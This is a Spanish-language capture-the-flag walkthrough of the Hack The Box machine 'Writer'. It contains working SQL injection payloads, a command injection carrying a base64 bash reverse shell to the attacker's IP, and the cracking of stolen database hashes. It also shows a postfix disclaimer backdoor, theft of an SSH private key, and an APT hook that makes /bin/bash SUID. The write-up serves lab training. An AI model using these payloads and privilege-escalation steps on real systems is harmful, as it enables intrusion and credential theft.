Writer - Hack The Box
Empezamos con un escaneo de puertos con nmap
~$> sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.101
Aquí podemos ver 4 puertos externamente abiertos:
22
~> ssh80
~> http139
~> rpc445
~> smb
Si nos conectamos por rpc con rpcclient sin usar credenciales
~$> rpcclient -U '' 10.10.11.101 -N
rpcclient $>
Y enumeramos los usuarios
rpcclient $> enumdomusers
user:[kyle] rid:[0x3e8]
Con esto encontramos un usuario válido (Kyle
)
Si vemos el smb con smbclient
o smbmap
, no encontraremos ningún recurso que podamos visualizar, así que vamos a ver el puerto 80
desde la web
Si bajamos hasta el final de la página, encontramos un dominio (writer.htb)
Así que lo añadimos al /etc/hosts
, esto, para en el caso de que se esté aplicando virtual hosting, nos carguen todos los recursos de la web
~$> sudo echo -e "10.10.11.101\twriter.htb" >> /etc/hosts
Despues de ver un poco la web, no encontré nada interesante por lo que pasé a hacer fuzzing con wfuzz
~$>wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://writer.htb/FUZZ
-c
~> Formato colorizado--hc
~> Ocultando las respuestas con el código de estado (404)-t
~> Número de hilos a usar (200)-w
~> WordlistFUZZ
~> Lugar donde se aplicara el fuzzing
Con esto encontramos un directorio interesante (administrative
), que si lo vemos en el navegador
Nos encontramos con un panel de login
Luego de probar con credenciales por defecto sin éxito, empezé con las inyecciones sql, logrando ingresar con un simple ' or 1=1 -- -
Para poder aprovechar al máximo la inyección sql, volví al panel de login
E inicié el burpsuite, para tener más comodidad
Ahora emitimos una petición normal desde el panel
Y lo vemos desde burpsuite
Lo enviamos al repeater
Y aquí empezamos a enumerar con union select
en el campo uname
, buscando el número de columnas existente, de la siguiente manera:
Luego de probar del 1 hasta el 6, la respuesta de lado del servidor cambia mostrandonos lo siguiente
Payload usado:
' union select 1,2,3,4,5,6 -- -
Si nos fijamos en la respuesta, veremos un campo interesante (Welcome 2
)
Al ver ese “2
” en el welcome, sabemos que para ver información, usaremos el campo “2
” del payload que estamos usando, de esta manera:
Así veremos la información en el campo donde antes nos ponía el “2
”
Despues de listar información de la base de datos, no encontré nada interesante, por lo que empezé a leer archivos del sistema con “load_file()
”
Payload usado:
' union select 1,load_file("/etc/passwd"),3,4,5,6 -- -
Viendo el /etc/passwd
encontramos un usuario (john
), además del que vimos al inicio con rpcclient (kyle
)
Si intentamos visualizar la flag user.txt
no podremos, por lo que hay que seguir con otros archivos del sistema como el /etc/apache2/sites-available/000-default.conf
, en donde podremos encontrar directorios interesantes
Aquí encontramos algunos directorios y un archivo (writer.wsgi
)
Así que vamos a leer ese writer.wsgi
' union select 1,load_file("/var/www/writer.htb/writer.wsgi"),3,4,5,6 -- -
Viendo este script encontramos un __init__.py
, el cual, si leemos
' union select 1,load_file("/var/www/writer.htb/writer/__init__.py"),3,4,5,6 -- -
Vemos que en la función add_story()
hay partes mal sanitizadas
Por lo que para aprovecharnos de estos errores, vamos nuevamente al panel de login e ingresamos
Nos dirigimos a Stories
Seleccionamos alguna para editar
Interceptamos nuevamente la petición con Burpsuite
Lo enviamos al repeater, igual que antes y aquí podemos ver un campo vacío, el image_url
, este es el mismo campo que veíamos antes, en el script (__init__.py
), el mismo que no está bien sanitizado
Por lo que, por medio de este campo, podremos inyectar comandos de la siguiente manera:
- Primero vamos a una terminal y escribimos lo siguiente:
~$> echo "bash -i >& /dev/tcp/$(ifconfig tun0 | head -n 2 | tail -n 1 | awk '{print $2}')/443 0>&1" | base64
[TU_CADENA_EN_BASE64]
Todo esto -> “$(ifconfig tun0 head -n 2 tail -n 1 awk ‘{print $2}’)” solo es para poner tu ip en ese espacio
Nos ponemos en escucha desde una terminal con **netcat**
, por el puerto 443
~$> nc -nlvp 443
Y lo enviamos con Burpsuite así:
;`echo [TU_CADENA_EN_BASE64]|base64 -d|bash`
Es importante ingresar el mismo comando a ejecutar, tanto en el campo
filename
como enimage_url
haciendo uso del wraperfile://
tal que así:file:///var/www/writer.htb/writer/static/img/imagen.jpg;`echo [TU_CADENA_EN_BASE64]|base64 -d|bash`
Y si vemos nuestro listener
Recibimos la conexión!!
Despues de hacer un tratamiento de la tty y de revisar un poco el sistema, encontré unas credenciales para mysql
en el archivo de configuración /etc/mysql/mariadb.cnf
www-data@writer:/etc/mysql$ cat /etc/mysql/mariadb.cnf
Así que teniendo esto, nos conectamos por mysql
www-data@writer:/etc/mysql$ mysql -udjangouser -pDjangoSuperPassword
Vemos que al conectarnos ya estamos usando una base de datos (dev
), entonces listamos las tablas
MariaDB [dev]> show tables;
Hay algunas tablas disponibles, de las cuales nos llama la atención la tabla auth_user
, porque seguramente contenga credenciales de usuarios, así que vemos las columnas que la componen
MariaDB [dev]> describe auth_user;
Aquí encontramos varios campos, pero claramente nosotros nos quedaremos con 2 ~> username
y password
, los cuales visualizaremos tal que así:
MariaDB [dev]> select username,password from auth_user;
Y encontramos el nuevamente al usuario kyle, pero esta vez tenemos un hash que nos podría servir para convertirnos en el, así que en nuestra máquina guardamos el hash
~$> echo "pbkdf2_sha256\$260000\$wJO3ztk0fOlcbssnS1wJPD\$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=" > hash
Buscamos el modo que nos sirve para romperlo con hashcat
~$> hashcat --example-hashes | grep "pbkdf2_sha256" -C 2
MODE: 10000
TYPE: Django (PBKDF2-SHA256)
HASH: pbkdf2_sha256$10000$1135411628$bFYX62rfJobJ07VwrUMXfuffLfj2RDM2G6/BrTrUWkE=
PASS: hashcat
Aquí podemos ver que el modo que nos sirve es el 10000
, entonces usamos **hashcat**
de esta forma:
~$> hashcat -m 10000 -a 0 hash --wordlist /usr/share/wordlists/rockyou.txt
Y despues de un rato
Obtenemos la pass
~$> hashcat -m 10000 -a 0 --show hash
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio
Con esta podemos conectarnos por ssh como el usuario kyle, ya que como vimos al inicio el puerto 22
(ssh) está habilitado
~$> sshpass -p 'marcoantonio' ssh kyle@10.10.11.101
Ahora que somos kyle, si hacemos un ìd
, para ver los grupos en los que estamos
kyle@writer:/$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
Vemos que estamos en uno poco común (filter
), entonces aplicando una búsqueda con find
desde la raíz, a los recursos con ese grupo
kyle@writer:/$ cd /; find \-group filter 2>/dev/null
Encontramos un ./etc/postfix/disclaimer
con este contenido:
Este lo podemos modificar, pero este es reestablecido al cabo de unos segundos
Tambien podemos ver que este se encarga de enviar mails y por cada mail que se envía se ejecuta el disclaimer
ya podemos pensar en añadir una linea maliciosa en el disclaimer, para depues enviar un mail, para que se ejecute nuestra instrucción, entonces:
- Primero escribimos esta estructura básica en python, esto nos servirá para enviar el mail
- Ahora hacemos una copia del
disclaimer
original al directorio en el que estemos
kyle@writer:~$ cp /etc/postfix/disclaimer .
- Le añadimos una linea maliciosa que se encargue de enviarnos una shell, igual que hicimos anteriormente con
kyle
desde Burpsuite
~$> echo "bash -i >& /dev/tcp/$(ifconfig tun0 | head -n 2 | tail -n 1 | awk '{print $2}')/443 0>&1" | base64
[TU_CADENA_EN_BASE64]
kyle@writer:~$ cat disclaimer
Nuevamente nos ponemos en escucha con netcat
en nuestra máquina
~$> nc -nlvp 443
Hacemos una copia del disclaimer que modificamos, en la ruta original al tiempo que ejecutamos el script de python para enviar el mail
kyle@writer:~$ cp disclaimer /etc/postfix/disclaimer; python3 mail.py
Y si vemos nuetro listener
Ganamos la shell como john
!
Si vamos al directorio de john
, veremos que hay un directorio .ssh
en donde podemos leer una id_rsa
la cual podemos usar para conectarnos como john de una manera más comoda por ssh, así que
- Copiamos la
id_rsa
, con el mismo nombre, en nuestro equipo
john@writer:/home/john/.ssh$ cat id_rsa
- Le asignamos el privilegio
600
, esto para que no nos de problemas al momento de usarla
~$> chmod 600 id_rsa
- Y nos conectamos de esta manera
~$> ssh -i id_rsa john@10.10.11.101
Ahora estamos en una shell completamente interactiva y mucho más comoda
Viendo a que grupos pertenece el usuario john
, vemos uno que puede ser interesante (management
)
john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
Buscando cosas relacionadas con este grupo
john@writer:~$ cd /; find \-group management 2>/dev/null
Encontramos el directorio /etc/apt/apt.conf.d
, el cual podría sernos de gran utilidad en el caso de que root esté ejecutando un apt update
Ya estando acá, para ver que tareas se estaban ejecutando, usé el siguiente one liner, para ver las tareas que se estaban ejecutando
john@writer:~$ while true; do ps -eo command | grep -v -E "\[|apache2"; sleep 15; clear; done
Encontrando lo siguiente:
Hay una tarea interesante que está ejecutando el usuario root
(/usr/bin/apt-get update
), así que nos dirigimos al directorio /etc/apt/apt.conf.d
y creamos un archivo con el siguiente contenido:
john@writer:/etc/apt/apt.conf.d$ echo "APT::Update::Pre-Invoke {\"chmod 4755 /bin/bash\";};" > suid
john@writer:/etc/apt/apt.conf.d$ cat suid
APT::Update::Pre-Invoke {"chmod 4755 /bin/bash";};
Esto se encargará de ejecutar el comando que le indiquemos (
chmod 4755 /bin/bash
), antes de ejecutar elapt-get update
, por lo que, en este caso se le asignarán permisos SUID a la/bin/bash
, lo que nos permitirá, posteriormente, spawnear una bash comoroot
Si ahora vemos los permisos de la /bin/bash
veremos que es SUID
john@writer:/etc/apt/apt.conf.d$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
Así que ahora solo tenemos que ejecutar el siguiente comando:
john@writer:/etc/apt/apt.conf.d$ bash -p
bash-5.0#
Y somos root
!!
bash-5.0# whoami
root